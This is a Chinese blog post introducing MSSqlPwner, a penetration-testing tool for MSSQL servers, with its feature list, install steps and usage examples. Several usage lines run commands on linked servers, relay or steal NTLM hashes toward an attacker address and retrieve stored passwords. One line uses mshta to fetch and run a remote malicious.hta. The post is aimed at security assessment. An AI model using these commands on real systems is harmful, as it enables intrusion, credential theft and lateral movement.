![图片[1]-MSSqlPwner:一款先进的多功能渗透测试工具-IT熊技术站](https://www.cutrui.cn/wp-content/uploads/2023/08/image-90-1024x500.png)
MSSqlPwner 是一款先进的多功能渗透测试工具,旨在与 MSSQL 服务器无缝交互并基于 Impacket。MSSqlPwner 工具使道德黑客和安全专业人员能够对 MSSQL 环境进行全面的安全评估。
借助 MSSqlPwner,用户可以通过各种方法执行自定义命令,包括自定义程序集、xp_cmdshell
等等sp_oacreate(Ole Automation Procedures)
。
该工具从链接服务器上的递归枚举开始,并收集所有可能的链。
此外,MSSqlPwner 工具还可用于 NTLM 中继功能,利用xp_dirtree
、xp_subdirs
、xp_fileexist
和命令执行等功能。
该工具为横向移动评估和探索链接服务器提供了机会。
如果经过身份验证的 MSSQL 用户没有执行某些操作的权限,该工具可以找到可能允许执行的链。例如,它可以将查询发送到链接服务器,该服务器返回一个指向经过身份验证的具有更高权限的 MSSQL 服务的链接。该工具还支持通过链接进行递归查询,以便在从受感染的 MSSQL 服务定向的其他无法访问的链接服务器上执行查询和命令。
例子
![图片[2]-MSSqlPwner:一款先进的多功能渗透测试工具-IT熊技术站](https://github.com/ScorpionesLabs/MSSqlPwner/raw/main/poc.png?raw=true)
该工具支持多种身份验证方法,如下所述。
免责声明
该工具专为安全专业人员和研究人员设计,仅用于测试目的,不应用于非法目的。
功能:
- 公用事业:
interactive
:允许以交互方式使用该工具并实时执行。enumerate
:枚举链接的服务器和链。get-chain-list
获取链的列表。get-link-server-list
获取链接服务器的列表。set-chain
设置链 ID(仅适用于交互模式!)set-link-server
设置链接服务器(仅适用于交互模式!)get-rev2self-queries
检索查询以恢复为 SELF(仅适用于交互模式!)。rev2self
恢复为 SELF(仅适用于交互模式!)。
- 命令执行:使用以下函数执行命令:
xp_cmdshell
xp_cmdshell
在本地服务器或链接服务器上执行命令sp_oacreate
使用 Ole Automation procedure 技术在本地服务器或链接服务器上执行命令
- 取回密码:
retrive-password
从链接服务器检索密码。
- NTLM 哈希窃取和中继:使用以下函数发出 NTLM 中继或窃取 NTLM 哈希:
xp_dirtree
NTLM 使用本地服务器或链接服务器上的目录列表窃取xp_subdirs
使用本地服务器或链接服务器上的子目录列表进行 NTLM 窃取xp_fileexist
NTLM 使用本地服务器或链接服务器上的文件存在检查进行窃取
- 使用自定义程序集和存储过程执行过程:
execute_command
在本地服务器或链接服务器上使用自定义程序集执行命令的过程run_query
在本地服务器或链接服务器上使用自定义程序集执行查询的过程run_query_system_service
以系统用户身份在本地服务器或链接服务器上使用自定义程序集执行查询的过程
- 直接查询
direct_query
在本地服务器或链接服务器上执行直接查询
横向运动和链式探索:
MSSqlPwner 提供了横向移动评估和探索链接服务器的机会。在当前会话缺乏管理权限的情况下,该工具会尝试找到一条通过链接服务器升级其自身权限的链。如果链接服务器上的会话具有更高的权限,则该工具可以与链接服务器进行交互,并以提升的权限向主机执行链接查询,从而实现与目标服务器的横向移动。
认证方式:
支持多种认证方式,包括:
- Windows 凭据
- MSSQL 凭据
- Kerberos 身份验证
- Kerberos 票证
- NTLM 哈希
该工具适应各种场景和环境,验证认证机制的有效性。
借助 MSSqlPwner 的强大功能和多功能性,将您的 MSSQL 环境评估提升到一个新的水平。使用 MSSqlPwner 工具发现横向移动、隐秘查询和精确安全评估的新可能性。
安装
git clone https://github.com/ScorpionesLabs/MSSqlPwner
cd MSSqlPwner
pip3 install -r requirements.txt
python3 MSSqlPwner.py
用法
# Interactive mode
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth interactive
# Executing custom assembly on the current server with windows authentication and executing hostname command
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server SRV01 custom-asm hostname
# Executing the hostname command using stored procedures on the linked SRV01 server
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server SRV01 exec hostname
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
# Issuing NTLM relay attack on the SRV01 server
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server SRV01 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on chain ID 5
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 5 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on the local server with custom command
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
# Executing direct query
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth direct_query "SELECT CURRENT_USER"
# Retrieving password from the linked server DC01
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password
项目地址
MSSqlPwner:【GitHub】
暂无评论内容